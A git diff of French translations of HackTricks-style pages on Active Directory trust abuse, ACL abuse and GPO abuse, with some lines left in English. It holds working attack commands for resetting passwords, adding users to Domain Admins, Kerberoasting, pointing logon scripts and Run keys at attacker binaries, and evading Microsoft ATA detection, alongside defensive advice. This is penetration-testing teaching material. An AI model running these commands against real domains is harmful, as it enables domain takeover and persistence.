-La vulnérabilité ADCS ESC5 vise le contrôle des objets de Public Key Infrastructure (PKI) pour créer un template de certificat permettant de s'authentifier comme n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le Configuration NC, compromettre un child DC inscriptible permet d'exécuter des attaques ESC5.
+La vulnérabilité ADCS ESC5 cible le contrôle des objets PKI pour créer un template de certificat permettant de s'authentifier en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans la Configuration NC, compromettre un DC enfant écrivable permet d'exécuter des attaques ESC5.

-Plus de détails sont disponibles dans [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Dans des scénarios sans ADCS, l'attaquant peut mettre en place les composants nécessaires, comme expliqué dans [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
+More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

 ### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
@ -708,13 +709,13 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-Dans ce scénario **votre domaine est trusted** par un domaine externe, vous donnant **permissions indéterminées** sur celui-ci. Vous devrez déterminer **quels principals de votre domaine ont quel access sur le domaine externe**, puis essayer d'en tirer parti :
+Dans ce scénario **votre domaine est trusted** par un domaine externe, ce qui vous confère **des permissions indéterminées** sur celui-ci. Vous devrez déterminer **quels principals de votre domaine ont quels accès sur le domaine externe** puis essayer de les exploiter :

 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Domaine de forêt externe - sens unique (sortant)
+### Domaine de forêt externe - Sens unique (sortant)
 ```bash
 Get-DomainTrust -Domain current.local

@ -726,36 +727,36 @@ TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
-Dans ce scénario **votre domaine** accorde la **confiance** de certains **privilèges** à un principal provenant d'**un domaine différent**.
+Dans ce scénario **votre domaine** accorde des **privilèges** à un principal provenant d'**un domaine différent**.

-Cependant, lorsqu'un **domaine est trusted** par le domaine trustant, le domaine trusted **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le trusted password**. Ce qui signifie qu'il est possible **d'accéder à un utilisateur du domaine trustant pour pénétrer dans le domaine trusted** afin de l'énumérer et d'essayer d'escalader davantage de privilèges :
+Cependant, lorsqu'un **domaine est approuvé** par le domaine qui accorde la confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe du domaine approuvé**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine qui accorde la confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader davantage de privilèges :


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Une autre façon de compromettre le domaine trusted est de trouver un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la trust de domaine (ce qui n'est pas très courant).
+Une autre façon de compromettre le domaine approuvé est de trouver un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).

-Une autre façon de compromettre le domaine trusted est d'attendre sur une machine où un **user from the trusted domain can access** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** depuis là.\
-De plus, si la **victime a monté son disque dur**, depuis le processus de **RDP session** l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**
+Une autre façon de compromettre le domaine approuvé est d'attendre sur une machine où un **utilisateur du domaine approuvé peut se connecter** via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** depuis là.\
+De plus, si la **victime a monté son disque dur**, depuis le processus de **session RDP** l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**


 {{#ref}}
 rdp-sessions-abuse.md
 {{#endref}}

-### Atténuation des abus de trust de domaine
+### Atténuation des abus de confiance entre domaines

 ### **SID Filtering:**

- Le risque d'attaques exploitant l'attribut SID history à travers des forest trusts est atténué par SID Filtering, qui est activé par défaut sur toutes les inter-forest trusts. Cela repose sur l'hypothèse que les intra-forest trusts sont sécurisés, considérant la forêt, plutôt que le domaine, comme la frontière de sécurité selon la position de Microsoft.
- Cependant, il y a un inconvénient : SID filtering peut perturber des applications et l'accès des utilisateurs, entraînant sa désactivation occasionnelle.
+- Le risque d'attaques exploitant l'attribut SIDHistory à travers des trusts entre forêts est atténué par SID Filtering, qui est activé par défaut sur tous les trusts entre forêts. Cela repose sur l'hypothèse que les trusts intra-forêt sont sûrs, considérant la forêt, plutôt que le domaine, comme la frontière de sécurité selon la position de Microsoft.
+- Cependant, il y a un revers : SID Filtering peut perturber des applications et l'accès des utilisateurs, conduisant parfois à sa désactivation.

 ### **Selective Authentication:**

- Pour les inter-forest trusts, l'utilisation de Selective Authentication garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. À la place, des permissions explicites sont requises pour permettre aux utilisateurs d'accéder aux domaines et serveurs au sein du domaine ou de la forêt trustante.
- Il est important de noter que ces mesures ne protègent pas contre l'exploitation du writable Configuration Naming Context (NC) ni contre les attaques sur le trust account.
+- Pour les trusts entre forêts, l'utilisation de Selective Authentication garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. À la place, des permissions explicites sont requises pour que les utilisateurs accèdent aux domaines et serveurs du domaine ou de la forêt qui accorde la confiance.
+- Il est important de noter que ces mesures ne protègent pas contre l'exploitation du Configuration Naming Context (NC) inscriptible ni contre les attaques visant le compte de trust.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

@ -768,31 +769,31 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move

 ## Quelques défenses générales

-[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
+[**En savoir plus sur la protection des identifiants ici.**](../stealing-credentials/credentials-protections.md)

-### **Mesures défensives pour la protection des credentials**
+### **Mesures défensives pour la protection des identifiants**

- **Domain Admins Restrictions** : Il est recommandé que les Domain Admins ne soient autorisés à se connecter qu'aux Domain Controllers, en évitant leur utilisation sur d'autres hôtes.
- **Service Account Privileges** : Les services ne devraient pas s'exécuter avec les privilèges de Domain Admin (DA) pour maintenir la sécurité.
- **Temporal Privilege Limitation** : Pour les tâches nécessitant des privilèges DA, leur durée doit être limitée. Cela peut être réalisé via : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Domain Admins Restrictions** : Il est recommandé que les Domain Admins soient autorisés à se connecter uniquement aux Domain Controllers, en évitant leur usage sur d'autres hôtes.
+- **Service Account Privileges** : Les services ne doivent pas s'exécuter avec des privilèges Domain Admin (DA) pour maintenir la sécurité.
+- **Temporal Privilege Limitation** : Pour les tâches nécessitant des privilèges DA, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

-### **Mise en œuvre de techniques de deception**
+### **Implémentation de techniques de leurre**

- La mise en œuvre de la deception implique la pose de pièges, comme des utilisateurs ou ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou qui sont marqués Trusted for Delegation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à hauts privilèges.
- Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Plus d'informations sur le déploiement de techniques de deception sont disponibles sur [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- La mise en œuvre du leurre implique de poser des pièges, comme des utilisateurs ou ordinateurs factices, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou marqués comme Trusted for Delegation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à privilèges élevés.
+- Un exemple pratique implique l'utilisation d'outils tels que : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
+- Plus d'informations sur le déploiement de techniques de leurre sont disponibles sur [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

-### **Identifier la deception**
+### **Identifier le leurre**

- **For User Objects** : Les indicateurs suspects incluent un ObjectSID atypique, des logons peu fréquents, des dates de création, et un faible nombre de mauvais mots de passe.
- **Indicateurs généraux** : Comparer les attributs d'objets potentiellement leurres avec ceux d'objets authentiques peut révéler des incohérences. Des outils comme [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) peuvent aider à identifier de telles deceptions.
+- **Pour les objets utilisateur** : Les indicateurs suspects incluent un ObjectSID atypique, des connexions peu fréquentes, des dates de création et un faible nombre d'échecs de mot de passe.
+- **Indicateurs généraux** : Comparer les attributs des objets potentiellement factices avec ceux des objets réels peut révéler des incohérences. Des outils comme [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) peuvent aider à identifier ces leurres.

-### **Bypassing Detection Systems**
+### **Contourner les systèmes de détection**

- **Microsoft ATA Detection Bypass** :
- **User Enumeration** : Éviter l'énumération de sessions sur les Domain Controllers pour prévenir la détection par ATA.
- **Ticket Impersonation** : Utiliser des clés **aes** pour la création de tickets aide à éviter la détection en ne rétrogradant pas vers NTLM.
- **DCSync Attacks** : Exécuter depuis une machine non-Domain Controller pour éviter la détection par ATA est conseillé, car une exécution directe depuis un Domain Controller déclenchera des alertes.
+- **Bypass de la détection Microsoft ATA** :
+- **Énumération d'utilisateurs** : Éviter l'énumération des sessions sur les Domain Controllers pour prévenir la détection par ATA.
+- **Impersonation de ticket** : L'utilisation de clés **aes** pour la création de tickets aide à échapper à la détection en n'effectuant pas de rétrogradation vers NTLM.
+- **Attaques DCSync** : Il est conseillé d'exécuter depuis un hôte non-Domain Controller pour éviter la détection par ATA, car une exécution directe depuis un Domain Controller déclenchera des alertes.

 ## Références

--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -1,4 +1,4 @@
-# Abuser les ACLs/ACEs d'Active Directory
+# Abuser des ACLs/ACEs d'Active Directory

 {{#include ../../../banners/hacktricks-training.md}}

@ -13,10 +13,10 @@ BadSuccessor.md

 ## **GenericAll Rights on User**

-Ce privilège accorde à un attaquant le contrôle total d'un compte utilisateur cible. Une fois les droits `GenericAll` confirmés à l'aide de la commande `Get-ObjectAcl`, un attaquant peut :
+Ce droit accorde à un attaquant le contrôle total d'un compte utilisateur ciblé. Une fois les droits `GenericAll` confirmés avec la commande `Get-ObjectAcl`, un attaquant peut :

 - **Changer le mot de passe de la cible** : En utilisant `net user <username> <password> /domain`, l'attaquant peut réinitialiser le mot de passe de l'utilisateur.
- **Targeted Kerberoasting** : Attribuer un SPN au compte utilisateur pour le rendre kerberoastable, puis utiliser Rubeus et targetedKerberoast.py pour extraire et tenter de craquer les hachages du ticket-granting ticket (TGT).
+- **Targeted Kerberoasting** : Attribuer un SPN au compte de l'utilisateur pour le rendre kerberoastable, puis utiliser Rubeus et targetedKerberoast.py pour extraire et tenter de casser les hashes du ticket-granting ticket (TGT).
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
@ -28,15 +28,15 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
 ## **Droits GenericAll sur un groupe**

-Ce privilège permet à un attaquant de manipuler les adhésions aux groupes s'il dispose des droits `GenericAll` sur un groupe comme `Domain Admins`. Après avoir identifié le nom distingué du groupe avec `Get-NetGroup`, l'attaquant peut :
+Ce privilège permet à un attaquant de manipuler les appartenances aux groupes s'il dispose des droits `GenericAll` sur un groupe tel que `Domain Admins`. Après avoir identifié le nom distingué du groupe avec `Get-NetGroup`, l'attaquant peut :

- **S'ajouter au groupe `Domain Admins`** : Cela peut être fait via des commandes directes ou en utilisant des modules comme Active Directory ou PowerSploit.
+- **S'ajouter au groupe `Domain Admins`** : Cela peut être fait via des commandes directes ou en utilisant des modules tels que Active Directory ou PowerSploit.
 ```bash
 net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
- Depuis Linux, vous pouvez également utiliser BloodyAD pour vous ajouter à des groupes arbitraires lorsque vous détenez GenericAll/Write membership sur ces groupes. Si le groupe cible est imbriqué dans “Remote Management Users”, vous obtiendrez immédiatement un accès WinRM sur des hôtes qui prennent en compte ce groupe:
+- Depuis Linux, vous pouvez également utiliser BloodyAD pour vous ajouter à des groupes arbitraires lorsque vous détenez GenericAll/Write membership sur ceux-ci. Si le groupe ciblé est imbriqué dans “Remote Management Users”, vous obtiendrez immédiatement un accès WinRM sur les hôtes qui prennent en compte ce groupe :
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
 ```
 ## **GenericAll / GenericWrite / Write on Computer/User**

-Détenir ces privilèges sur un objet ordinateur ou un compte utilisateur permet :
+Détenir ces privilèges sur un objet ordinateur ou un compte utilisateur permet de :

- **Kerberos Resource-based Constrained Delegation**: Permet de prendre le contrôle d'un objet ordinateur.
- **Shadow Credentials**: Utilisez cette technique pour vous faire passer pour un compte ordinateur ou utilisateur en exploitant les privilèges afin de créer des shadow credentials.
+- **Kerberos Resource-based Constrained Delegation** : Permet de prendre le contrôle d'un objet ordinateur.
+- **Shadow Credentials** : Utilisez cette technique pour vous faire passer pour un ordinateur ou un compte utilisateur en exploitant les privilèges afin de créer des shadow credentials.

 ## **WriteProperty on Group**

-Si un utilisateur dispose des droits `WriteProperty` sur tous les objets d'un groupe spécifique (par ex., `Domain Admins`), il peut :
+Si un utilisateur dispose des droits `WriteProperty` sur tous les objets pour un groupe spécifique (par ex., `Domain Admins`), il peut :

- **Add Themselves to the Domain Admins Group**: Cela peut être réalisé en combinant les commandes `net user` et `Add-NetGroupUser`; cette méthode permet la privilege escalation au sein du domaine.
+- **Se rajouter au groupe Domain Admins** : Réalisable en combinant les commandes `net user` et `Add-NetGroupUser`, cette méthode permet une élévation de privilèges au sein du domaine.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
-## **Self (Self-Membership) on Group**
+## **Self (Self-Membership) sur un groupe**

-Ce privilège permet aux attaquants de s'ajouter eux‑mêmes à des groupes spécifiques, tels que `Domain Admins`, via des commandes qui manipulent directement l'appartenance aux groupes. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
+Ce privilège permet aux attaquants de s'ajouter à des groupes spécifiques, comme `Domain Admins`, en utilisant des commandes qui manipulent directement l'appartenance aux groupes. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Un privilège similaire, il permet aux attaquants de s'ajouter directement à des groupes en modifiant les propriétés des groupes s'ils disposent du droit `WriteProperty` sur ces groupes. La confirmation et l'exécution de ce privilège s'effectuent avec :
+Un privilège similaire, il permet aux attaquants de s'ajouter directement à des groupes en modifiant les propriétés des groupes s'ils disposent du droit `WriteProperty` sur ces groupes. La confirmation et l'exécution de ce privilège se font avec :
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Détenir le `ExtendedRight` sur un utilisateur pour `User-Force-Change-Password` permet de réinitialiser le mot de passe sans connaître le mot de passe actuel. La vérification de ce droit et son exploitation peuvent être effectuées via PowerShell ou des outils en ligne de commande alternatifs, offrant plusieurs méthodes pour réinitialiser le mot de passe d'un utilisateur, y compris des sessions interactives et des one-liners pour des environnements non interactifs. Les commandes vont d'invocations PowerShell simples à l'utilisation de `rpcclient` sous Linux, démontrant la polyvalence des vecteurs d'attaque.
+Détenir le `ExtendedRight` sur un utilisateur pour `User-Force-Change-Password` permet de réinitialiser le mot de passe sans connaître le mot de passe actuel. La vérification de ce droit et son exploitation peuvent être effectuées via PowerShell ou d'autres outils en ligne de commande, offrant plusieurs méthodes pour réinitialiser le mot de passe d'un utilisateur, y compris des sessions interactives et des one-liners pour des environnements non interactifs. Les commandes vont d'appels simples PowerShell à l'utilisation de `rpcclient` sur Linux, démontrant la polyvalence des vecteurs d'attaque.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
 rpcclient -U KnownUsername 10.10.10.192
 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
 ```
-## **WriteOwner on Group**
+## **WriteOwner sur un groupe**

-Si un attaquant découvre qu'il dispose des droits `WriteOwner` sur un groupe, il peut changer la propriété du groupe pour se l'attribuer. Cela est particulièrement impactant lorsque le groupe concerné est `Domain Admins`, car changer le propriétaire permet un contrôle plus large des attributs du groupe et de ses membres. Le processus consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID soit par nom.
+Si un attaquant découvre qu'il dispose des droits `WriteOwner` sur un groupe, il peut en changer le propriétaire pour se l'attribuer. Cela a un impact particulier lorsque le groupe concerné est `Domain Admins`, car modifier la propriété permet un contrôle plus large sur les attributs du groupe et son appartenance. Le processus consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID, soit par nom.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite on User**

-Cette permission permet à un attaquant de modifier les propriétés d'un utilisateur. Plus précisément, avec un accès `GenericWrite`, l'attaquant peut changer le chemin du script de connexion d'un utilisateur pour exécuter un script malveillant lors de la connexion de l'utilisateur. Cela se fait en utilisant la commande `Set-ADObject` pour mettre à jour la propriété `scriptpath` de l'utilisateur ciblé afin qu'elle pointe vers le script de l'attaquant.
+Cette permission permet à un attacker de modifier les propriétés d'un user. Plus précisément, avec l'accès `GenericWrite`, l'attacker peut modifier le chemin du logon script d'un user pour exécuter un malicious script lors du logon de l'user. Cela s'effectue en utilisant la commande `Set-ADObject` pour mettre à jour la propriété `scriptpath` de l'user ciblé afin de la faire pointer vers le script de l'attacker.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite on Group**

-Avec ce privilège, les attaquants peuvent manipuler l'appartenance aux groupes, par exemple s'ajouter eux-mêmes ou ajouter d'autres utilisateurs à des groupes spécifiques. Ce processus implique de créer un objet d'identification, de l'utiliser pour ajouter ou supprimer des utilisateurs d'un groupe, et de vérifier les changements d'appartenance avec des commandes PowerShell.
+Avec ce privilège, les attaquants peuvent manipuler l'appartenance aux groupes, par exemple en s'ajoutant eux‑mêmes ou en ajoutant d'autres utilisateurs à des groupes spécifiques. Ce processus implique la création d'un objet d'identification, son utilisation pour ajouter ou supprimer des utilisateurs d'un groupe, et la vérification des modifications d'appartenance avec des commandes PowerShell.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Posséder un objet AD et disposer des privilèges `WriteDACL` sur celui-ci permet à un attaquant de s'accorder les privilèges `GenericAll` sur l'objet. Cela s'accomplit par manipulation ADSI, ce qui donne un contrôle total sur l'objet et la possibilité de modifier ses adhésions aux groupes. Malgré cela, des limitations existent lors de la tentative d'exploitation de ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
+Posséder un objet AD et disposer des privilèges `WriteDACL` sur celui-ci permet à un attaquant de s'octroyer des privilèges `GenericAll` sur l'objet. Cela s'effectue via la manipulation d'ADSI, offrant un contrôle total de l'objet et la possibilité de modifier ses appartenances aux groupes. Cependant, des limitations existent lorsqu'on tente d'exploiter ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -121,62 +121,62 @@ $ADSI.psbase.commitchanges()
 ```
 ## **Réplication sur le domaine (DCSync)**

-L'attaque DCSync exploite des permissions de réplication spécifiques sur le domaine pour se faire passer pour un Domain Controller et synchroniser des données, y compris les identifiants utilisateur. Cette technique puissante nécessite des permissions comme `DS-Replication-Get-Changes`, permettant aux attaquants d'extraire des informations sensibles de l'environnement AD sans accès direct à un Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
+The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)

 ## Délégation GPO <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### Délégation GPO

-L'accès délégué pour gérer les Group Policy Objects (GPOs) peut représenter des risques de sécurité significatifs. Par exemple, si un utilisateur tel que `offense\spotless` se voit déléguer les droits de gestion des GPO, il peut disposer de privilèges comme **WriteProperty**, **WriteDacl**, et **WriteOwner**. Ces permissions peuvent être abusées à des fins malveillantes, comme identifié avec PowerView : `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+L'accès délégué pour gérer les Group Policy Objects (GPOs) peut présenter des risques de sécurité importants. Par exemple, si un utilisateur tel que `offense\spotless` se voit déléguer des droits de gestion des GPO, il peut disposer de privilèges comme **WriteProperty**, **WriteDacl**, et **WriteOwner**. Ces permissions peuvent être détournées à des fins malveillantes, comme identifié avec PowerView : `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

 ### Énumérer les permissions GPO

-Pour identifier des GPO mal configurées, les cmdlets de PowerSploit peuvent être chaînées. Cela permet de découvrir les GPOs qu'un utilisateur spécifique peut gérer : `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Pour identifier les GPO mal configurées, les cmdlets de PowerSploit peuvent être chaînées. Cela permet de découvrir les GPO qu'un utilisateur spécifique peut gérer : `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Ordinateurs avec une politique donnée appliquée** : Il est possible de déterminer aux quels ordinateurs une GPO spécifique s'applique, ce qui aide à comprendre l'étendue de l'impact potentiel. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Ordinateurs avec une politique donnée appliquée** : Il est possible de déterminer quels ordinateurs concernent une GPO spécifique, ce qui aide à comprendre l'étendue de l'impact potentiel. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

 **Politiques appliquées à un ordinateur donné** : Pour voir quelles politiques sont appliquées à un ordinateur particulier, on peut utiliser des commandes comme `Get-DomainGPO`.

 **OUs avec une politique donnée appliquée** : Identifier les unités d'organisation (OUs) affectées par une politique donnée peut se faire avec `Get-DomainOU`.

-Vous pouvez aussi utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPOs et y trouver des problèmes.
+Vous pouvez aussi utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPO et y déceler des problèmes.

-### Abus de GPO - New-GPOImmediateTask
+### Abuse GPO - New-GPOImmediateTask

-Des GPO mal configurées peuvent être exploitées pour exécuter du code, par exemple en créant une tâche planifiée immédiate. Cela peut servir à ajouter un utilisateur au groupe des administrateurs locaux sur les machines affectées, élevant ainsi de manière significative les privilèges :
+Les GPO mal configurées peuvent être exploitées pour exécuter du code, par exemple en créant une tâche planifiée immédiate. Cela peut servir à ajouter un utilisateur au groupe Administrateurs locaux sur les machines concernées, élevant considérablement les privilèges :
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-Le module GroupPolicy, s'il est installé, permet la création et le lien de nouveaux GPOs, et la configuration de préférences telles que des valeurs de registre pour exécuter des backdoors sur les ordinateurs affectés. Cette méthode nécessite que le GPO soit mis à jour et qu'un utilisateur se connecte à l'ordinateur pour l'exécution :
+Le GroupPolicy module, s'il est installé, permet la création et l'association de nouveaux GPOs, ainsi que la configuration de préférences telles que des valeurs de registre pour exécuter des backdoors sur les ordinateurs concernés. Cette méthode nécessite que le GPO soit mis à jour et qu'un utilisateur se connecte à l'ordinateur pour l'exécution :
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
 ### SharpGPOAbuse - Abuse GPO

-SharpGPOAbuse propose une méthode pour abuser des GPOs existants en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouveaux GPOs. Cet outil nécessite la modification de GPOs existants ou l'utilisation des outils RSAT pour en créer de nouveaux avant d'appliquer les modifications:
+SharpGPOAbuse offre une méthode pour abuser des GPOs existantes en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouvelles GPOs. Cet outil nécessite la modification de GPOs existantes ou l'utilisation des outils RSAT pour en créer de nouvelles avant d'appliquer les modifications :
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
 ### Forcer la mise à jour des GPO

-Les mises à jour des GPO ont généralement lieu environ toutes les 90 minutes. Pour accélérer ce processus, notamment après avoir effectué un changement, la commande `gpupdate /force` peut être utilisée sur l'ordinateur cible pour forcer une mise à jour immédiate des stratégies. Cette commande garantit que toute modification des GPO est appliquée sans attendre le prochain cycle de mise à jour automatique.
+Les mises à jour des GPO ont généralement lieu toutes les ~90 minutes. Pour accélérer ce processus, surtout après avoir appliqué une modification, la commande `gpupdate /force` peut être utilisée sur l'ordinateur cible pour forcer une mise à jour immédiate des stratégies. Cette commande garantit que les modifications des GPO sont appliquées sans attendre le prochain cycle automatique.

-### Dans les coulisses
+### Sous le capot

-En inspectant les tâches planifiées (Scheduled Tasks) d'un GPO donné, comme la `Misconfigured Policy`, on peut confirmer l'ajout de tâches telles que `evilTask`. Ces tâches sont créées via des scripts ou des outils en ligne de commande visant à modifier le comportement du système ou à escalader les privilèges.
+En examinant les tâches planifiées (Scheduled Tasks) pour une GPO donnée, comme `Misconfigured Policy`, on peut confirmer l'ajout de tâches telles que `evilTask`. Ces tâches sont créées via des scripts ou des outils en ligne de commande visant à modifier le comportement du système ou à escalader des privilèges.

-La structure de la tâche, telle qu'elle apparaît dans le fichier de configuration XML généré par `New-GPOImmediateTask`, décrit les détails de la tâche planifiée — y compris la commande à exécuter et ses déclencheurs. Ce fichier représente la manière dont les tâches planifiées sont définies et gérées au sein des GPO, offrant un moyen d'exécuter des commandes ou scripts arbitraires dans le cadre de l'application des stratégies.
